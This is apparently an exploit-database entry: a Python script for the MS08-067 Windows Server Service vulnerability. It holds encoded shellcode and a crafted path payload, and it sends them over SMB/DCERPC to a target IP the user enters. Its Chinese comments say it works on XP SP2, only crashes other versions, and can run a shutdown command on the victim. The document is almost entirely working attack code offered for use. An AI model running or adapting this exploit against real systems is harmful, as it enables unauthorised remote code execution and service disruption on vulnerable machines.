MS Windows Server Service - Code Execution Exploit (MS08-067)

#!/usr/bin/env python ##Ms08_067 exploit by Oopohh #这个exploit的payload我只写了windows xp sp2版本的,其他像是2000 ,2003 ,xp sp3 #的版本只能触发程序崩溃．另外这个远程exploit可以执行关机命令． #需要安装python库impacket from impacket.dcerpc import transport,dcerpc from impacket import uuid shellcode = '' shellcode += "\xba\xda\x04\x59\x0a\xd9\xce\xd9\x74\x24\xf4\x5d\x31\xc9\xb1" shellcode += "\x33\x31\x55\x14\x03\x55\x14\x83\xc5\x04\x38\xf1\xa5\xe2\x3e" shellcode += "\xfa\x55\xf3\x5e\x72\xb0\xc2\x5e\xe0\xb0\x75\x6e\x62\x94\x79" shellcode += "\x05\x26\x0d\x09\x6b\xef\x22\xba\xc1\xc9\x0d\x3b\x79\x29\x0f" shellcode += "\xbf\x83\x7e\xef\xfe\x4c\x73\xee\xc7\xb0\x7e\xa2\x90\xbf\x2d" shellcode += "\x53\x94\xf5\xed\xd8\xe6\x18\x76\x3c\xbe\x1b\x57\x93\xb4\x42" shellcode += "\x77\x15\x18\xff\x3e\x0d\x7d\xc5\x89\xa6\xb5\xb2\x0b\x6f\x84" shellcode += "\x3b\xa7\x4e\x28\xce\xb9\x97\x8f\x30\xcc\xe1\xf3\xcd\xd7\x35" shellcode += "\x89\x09\x5d\xae\x29\xda\xc5\x0a\xcb\x0f\x93\xd9\xc7\xe4\xd7" shellcode += "\x86\xcb\xfb\x34\xbd\xf0\x70\xbb\x12\x71\xc2\x98\xb6\xd9\x91" shellcode += "\x81\xef\x87\x74\xbd\xf0\x67\x29\x1b\x7a\x85\x3e\x16\x21\xc0" shellcode += "\xc1\xa4\x5f\xa6\xc1\xb6\x5f\x97\xa9\x87\xd4\x78\xae\x17\x3f" shellcode += "\x3d\x40\x52\x62\x14\xc8\x3b\xf6\x24\x95\xbb\x2c\x6a\xa3\x3f" shellcode += "\xc5\x13\x50\x5f\xac\x16\x1d\xe7\x5c\x6b\x0e\x82\x62\xd8\x2f" shellcode += "\x87\x10\xb6\xba\x5c\xb3\x29\x33\xf3\x1b\x9b\xc8\x2b\x71\x97" shellcode += "\x0e\x15\xb9\x57\x90" payload_1='\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00' payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41' payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41' payload_1+='\x41\x41' payload_1+='\x93\x43\x93\x7c\x90\x90\x90\x90\x90\x90\x33\xc0\x90\x8b\xc4\x66' payload_1+='\x05\xa4\x04\x90\x8b\x18\xff\xd3' payload_1+='\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B' payload_1+='\xE3\x66\xBB\x33\x32\x53\x68\x75' payload_1+='\x73\x65\x72\x54\x33\xD2\x64\x8B' payload_1+='\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C' payload_1+='\x00\x00' payload='\x01\x00\x00\x00' payload+='\x75\x00\x00\x00\x00\x00\x00\x00\x75\x00\x00\x00' payload+=shellcode payload+='\x00\x00\x00\x00' payload+='\x00\x00\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00' payload+=payload_1 payload+='\x00\x00\x00\x00' payload+='\x02\x00\x00\x00\x02\x00\x00\x00' payload+='\x00\x00\x00\x00\x02\x00\x00\x00' payload+='\x5c\x00\x00\x00\x01\x00\x00\x00' payload+='\x01\x00\x00\x00' target_ip = raw_input("Input target ip:") stringbinding = "ncacn_np:%(host)s[\\pipe\\%(pipe)s]" stringbinding %= { 'host': target_ip, 'pipe': 'browser', 'port': 445, } print "[*]Exploit!: %r" % stringbinding trans = transport.DCERPCTransportFactory(stringbinding) trans.connect() dce = trans.DCERPC_class(trans) dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188','3.0'))) dce.call(0x1f,payload)